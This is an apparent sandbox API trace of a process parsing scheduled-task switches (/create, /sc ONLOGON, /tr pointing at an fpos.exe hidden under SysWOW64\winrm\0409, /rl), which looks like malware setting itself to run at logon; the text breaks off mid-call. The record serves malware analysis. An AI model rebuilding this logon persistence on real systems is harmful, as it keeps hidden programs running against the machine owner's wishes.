1 [0155.557] lstrlenW (lpString="u") returned 1 [0155.557] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.557] lstrlenW (lpString="sc") returned 2 [0155.557] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.557] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|u|") returned 3 [0155.557] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.557] lstrlenW (lpString="|u|") returned 3 [0155.557] lstrlenW (lpString="|sc|") returned 4 [0155.557] SetLastError (dwErrCode=0x490) [0155.557] lstrlenW (lpString="p") returned 1 [0155.557] lstrlenW (lpString="p") returned 1 [0155.557] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.557] lstrlenW (lpString="sc") returned 2 [0155.557] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.558] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|p|") returned 3 [0155.558] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.558] lstrlenW (lpString="|p|") returned 3 [0155.558] lstrlenW (lpString="|sc|") returned 4 [0155.558] SetLastError (dwErrCode=0x490) [0155.558] lstrlenW (lpString="ru") returned 2 [0155.558] lstrlenW (lpString="ru") returned 2 [0155.558] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.558] lstrlenW (lpString="sc") returned 2 [0155.558] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.558] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ru|") returned 4 [0155.558] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.558] lstrlenW (lpString="|ru|") returned 4 [0155.558] lstrlenW (lpString="|sc|") returned 4 [0155.558] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0155.558] SetLastError (dwErrCode=0x490) [0155.558] lstrlenW (lpString="rp") returned 2 [0155.558] lstrlenW (lpString="rp") returned 2 [0155.558] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.558] lstrlenW (lpString="sc") returned 2 [0155.558] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.558] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rp|") returned 4 [0155.558] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.558] lstrlenW (lpString="|rp|") returned 4 [0155.558] lstrlenW (lpString="|sc|") returned 4 [0155.558] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0155.558] SetLastError (dwErrCode=0x490) [0155.558] lstrlenW (lpString="sc") returned 2 [0155.558] lstrlenW (lpString="sc") returned 2 [0155.558] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.559] lstrlenW (lpString="sc") returned 2 [0155.559] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.559] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.559] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.559] lstrlenW (lpString="|sc|") returned 4 [0155.559] lstrlenW (lpString="|sc|") returned 4 [0155.559] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0155.559] SetLastError (dwErrCode=0x0) [0155.559] SetLastError (dwErrCode=0x0) [0155.559] lstrlenW (lpString="ONLOGON") returned 7 [0155.559] lstrlenW (lpString="-/") returned 2 [0155.559] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0155.559] SetLastError (dwErrCode=0x490) [0155.559] SetLastError (dwErrCode=0x490) [0155.559] SetLastError (dwErrCode=0x0) [0155.559] lstrlenW (lpString="ONLOGON") returned 7 [0155.559] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0155.559] SetLastError (dwErrCode=0x490) [0155.559] SetLastError (dwErrCode=0x0) [0155.559] GetProcessHeap () returned 0x3b0000 [0155.559] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cd4c0 [0155.559] _memicmp (_Buf1=0x3cd4c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.559] lstrlenW (lpString="ONLOGON") returned 7 [0155.559] GetProcessHeap () returned 0x3b0000 [0155.559] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd580 [0155.559] lstrlenW (lpString="ONLOGON") returned 7 [0155.559] lstrlenW (lpString=" \x09") returned 2 [0155.559] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0155.559] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0155.559] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0155.559] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0155.559] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0155.559] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0155.560] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0155.560] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0155.560] GetLastError () returned 0x0 [0155.560] lstrlenW (lpString="ONLOGON") returned 7 [0155.560] lstrlenW (lpString="ONLOGON") returned 7 [0155.560] SetLastError (dwErrCode=0x0) [0155.560] SetLastError (dwErrCode=0x0) [0155.560] lstrlenW (lpString="/tr") returned 3 [0155.560] lstrlenW (lpString="-/") returned 2 [0155.560] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.560] lstrlenW (lpString="create") returned 6 [0155.560] lstrlenW (lpString="create") returned 6 [0155.560] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.560] lstrlenW (lpString="tr") returned 2 [0155.560] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.560] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|create|") returned 8 [0155.560] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.560] lstrlenW (lpString="|create|") returned 8 [0155.560] lstrlenW (lpString="|tr|") returned 4 [0155.560] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0155.560] SetLastError (dwErrCode=0x490) [0155.560] lstrlenW (lpString="?") returned 1 [0155.560] lstrlenW (lpString="?") returned 1 [0155.560] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.560] lstrlenW (lpString="tr") returned 2 [0155.560] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.560] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|?|") returned 3 [0155.560] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.560] lstrlenW (lpString="|?|") returned 3 [0155.560] lstrlenW (lpString="|tr|") returned 4 [0155.561] SetLastError (dwErrCode=0x490) [0155.561] lstrlenW (lpString="s") returned 1 [0155.561] lstrlenW (lpString="s") returned 1 [0155.561] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.561] lstrlenW (lpString="tr") returned 2 [0155.561] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.561] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|s|") returned 3 [0155.561] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.561] lstrlenW (lpString="|s|") returned 3 [0155.561] lstrlenW (lpString="|tr|") returned 4 [0155.561] SetLastError (dwErrCode=0x490) [0155.561] lstrlenW (lpString="u") returned 1 [0155.561] lstrlenW (lpString="u") returned 1 [0155.561] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.561] lstrlenW (lpString="tr") returned 2 [0155.561] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.561] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|u|") returned 3 [0155.561] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.561] lstrlenW (lpString="|u|") returned 3 [0155.561] lstrlenW (lpString="|tr|") returned 4 [0155.561] SetLastError (dwErrCode=0x490) [0155.561] lstrlenW (lpString="p") returned 1 [0155.561] lstrlenW (lpString="p") returned 1 [0155.561] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.561] lstrlenW (lpString="tr") returned 2 [0155.561] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.561] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|p|") returned 3 [0155.561] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.561] lstrlenW (lpString="|p|") returned 3 [0155.562] lstrlenW (lpString="|tr|") returned 4 [0155.562] SetLastError (dwErrCode=0x490) [0155.562] lstrlenW (lpString="ru") returned 2 [0155.562] lstrlenW (lpString="ru") returned 2 [0155.562] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.562] lstrlenW (lpString="tr") returned 2 [0155.562] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.562] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ru|") returned 4 [0155.562] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.562] lstrlenW (lpString="|ru|") returned 4 [0155.562] lstrlenW (lpString="|tr|") returned 4 [0155.562] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0155.562] SetLastError (dwErrCode=0x490) [0155.562] lstrlenW (lpString="rp") returned 2 [0155.562] lstrlenW (lpString="rp") returned 2 [0155.562] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.562] lstrlenW (lpString="tr") returned 2 [0155.562] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.562] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rp|") returned 4 [0155.562] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.562] lstrlenW (lpString="|rp|") returned 4 [0155.562] lstrlenW (lpString="|tr|") returned 4 [0155.562] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0155.562] SetLastError (dwErrCode=0x490) [0155.562] lstrlenW (lpString="sc") returned 2 [0155.562] lstrlenW (lpString="sc") returned 2 [0155.562] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.562] lstrlenW (lpString="tr") returned 2 [0155.562] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.563] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.563] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.563] lstrlenW (lpString="|sc|") returned 4 [0155.563] lstrlenW (lpString="|tr|") returned 4 [0155.563] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0155.563] SetLastError (dwErrCode=0x490) [0155.563] lstrlenW (lpString="mo") returned 2 [0155.563] lstrlenW (lpString="mo") returned 2 [0155.563] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.563] lstrlenW (lpString="tr") returned 2 [0155.563] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.563] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|mo|") returned 4 [0155.563] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.563] lstrlenW (lpString="|mo|") returned 4 [0155.563] lstrlenW (lpString="|tr|") returned 4 [0155.563] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0155.563] SetLastError (dwErrCode=0x490) [0155.563] lstrlenW (lpString="d") returned 1 [0155.563] lstrlenW (lpString="d") returned 1 [0155.563] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.563] lstrlenW (lpString="tr") returned 2 [0155.563] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.563] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|d|") returned 3 [0155.563] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.563] lstrlenW (lpString="|d|") returned 3 [0155.563] lstrlenW (lpString="|tr|") returned 4 [0155.563] SetLastError (dwErrCode=0x490) [0155.563] lstrlenW (lpString="m") returned 1 [0155.563] lstrlenW (lpString="m") returned 1 [0155.563] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.564] lstrlenW (lpString="tr") returned 2 [0155.564] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.564] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|m|") returned 3 [0155.564] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.564] lstrlenW (lpString="|m|") returned 3 [0155.564] lstrlenW (lpString="|tr|") returned 4 [0155.564] SetLastError (dwErrCode=0x490) [0155.564] lstrlenW (lpString="i") returned 1 [0155.564] lstrlenW (lpString="i") returned 1 [0155.564] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.564] lstrlenW (lpString="tr") returned 2 [0155.564] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.564] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|i|") returned 3 [0155.564] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.564] lstrlenW (lpString="|i|") returned 3 [0155.564] lstrlenW (lpString="|tr|") returned 4 [0155.564] SetLastError (dwErrCode=0x490) [0155.564] lstrlenW (lpString="tn") returned 2 [0155.564] lstrlenW (lpString="tn") returned 2 [0155.564] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.564] lstrlenW (lpString="tr") returned 2 [0155.564] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.564] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.564] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.564] lstrlenW (lpString="|tn|") returned 4 [0155.564] lstrlenW (lpString="|tr|") returned 4 [0155.564] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0155.564] SetLastError (dwErrCode=0x490) [0155.564] lstrlenW (lpString="tr") returned 2 [0155.565] lstrlenW (lpString="tr") returned 2 [0155.565] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.565] lstrlenW (lpString="tr") returned 2 [0155.565] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.565] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.565] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.565] lstrlenW (lpString="|tr|") returned 4 [0155.565] lstrlenW (lpString="|tr|") returned 4 [0155.565] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0155.565] SetLastError (dwErrCode=0x0) [0155.565] SetLastError (dwErrCode=0x0) [0155.565] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.565] lstrlenW (lpString="-/") returned 2 [0155.565] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0155.565] SetLastError (dwErrCode=0x490) [0155.565] SetLastError (dwErrCode=0x490) [0155.565] SetLastError (dwErrCode=0x0) [0155.565] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.565] StrChrIW (lpStart="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'", wMatch=0x3a) returned=":\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'" [0155.565] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.565] _memicmp (_Buf1=0x3cd500, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.565] _memicmp (_Buf1=0x3cd540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.565] SetLastError (dwErrCode=0x7a) [0155.565] SetLastError (dwErrCode=0x0) [0155.565] SetLastError (dwErrCode=0x0) [0155.565] lstrlenW (lpString="'C") returned 2 [0155.565] lstrlenW (lpString="-/") returned 2 [0155.565] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0155.565] SetLastError (dwErrCode=0x490) [0155.565] SetLastError (dwErrCode=0x490) [0155.565] SetLastError (dwErrCode=0x0) [0155.566] _memicmp (_Buf1=0x3cd4c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.566] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.566] GetProcessHeap () returned 0x3b0000 [0155.566] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd580) returned 1 [0155.566] GetProcessHeap () returned 0x3b0000 [0155.566] RtlReAllocateHeap (Heap=0x3b0000, Flags=0xc, Ptr=0x3cd580, Size=0x54) returned 0x3cc250 [0155.566] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.566] lstrlenW (lpString=" \x09") returned 2 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0155.566] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0155.567] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0155.567] GetLastError () returned 0x0 [0155.567] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.567] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.567] SetLastError (dwErrCode=0x0) [0155.567] SetLastError (dwErrCode=0x0) [0155.567] lstrlenW (lpString="/rl") returned 3 [0155.567] lstrlenW (lpString="-/") returned 2 [0155.567] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.567] lstrlenW (lpString="create") returned 6 [0155.567] lstrlenW (lpString="create") returned 6 [0155.567] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.567] lstrlenW (lpString="rl") returned 2 [0155.567] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.567] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|create|") returned 8 [0155.567] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.567] lstrlenW (lpString="|create|") returned 8 [0155.568] lstrlenW (lpString="|rl|") returned 4 [0155.568] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0155.568] SetLastError (dwErrCode=0x490) [0155.568] lstrlenW (lpString="?") returned 1 [0155.568] lstrlenW (lpString="?") returned 1 [0155.568] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.568] lstrlenW (lpString="rl") returned 2 [0155.568] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.568] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|?|") returned 3 [0155.568] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.568] lstrlenW (lpString="|?|") returned 3 [0155.568] lstrlenW (lpString="|rl|") returned 4 [0155.568] SetLastError (dwErrCode=0x490) [0155.568] lstrlenW (lpString="s") returned 1 [0155.568] lstrlenW (lpString="s") returned 1 [0155.568] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.568] lstrlenW (lpString="rl") returned 2 [0155.568] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.568] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|s|") returned 3 [0155.568] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.568] lstrlenW (lpString="|s|") returned 3 [0155.568] lstrlenW (lpString="|rl|") returned 4 [0155.568] SetLastError (dwErrCode=0x490) [0155.568] lstrlenW (lpString="u") returned 1 [0155.568] lstrlenW (lpString="u") returned 1 [0155.568] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.568] lstrlenW (lpString="rl") returned 2 [0155.568] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.569] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|u|") returned 3 [0155.569] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.569] lstrlenW (lpString="|u|") returned 3 [0155.569] lstrlenW (lpString="|rl|") returned 4 [0155.569] SetLastError (dwErrCode=0x490) [0155.569] lstrlenW (lpString="p") returned 1 [0155.569] lstrlenW (lpString="p") returned 1 [0155.569] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.569] lstrlenW (lpString="rl") returned 2 [0155.569] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.569] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|p|") returned 3 [0155.569] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.569] lstrlenW (lpString="|p|") returned 3 [0155.569] lstrlenW (lpString="|rl|") returned 4 [0155.569] SetLastError (dwErrCode=0x490) [0155.569] lstrlenW (lpString="ru") returned 2 [0155.569] lstrlenW (lpString="ru") returned 2 [0155.569] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.569] lstrlenW (lpString="rl") returned 2 [0155.569] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.569] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ru|") returned 4 [0155.569] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", 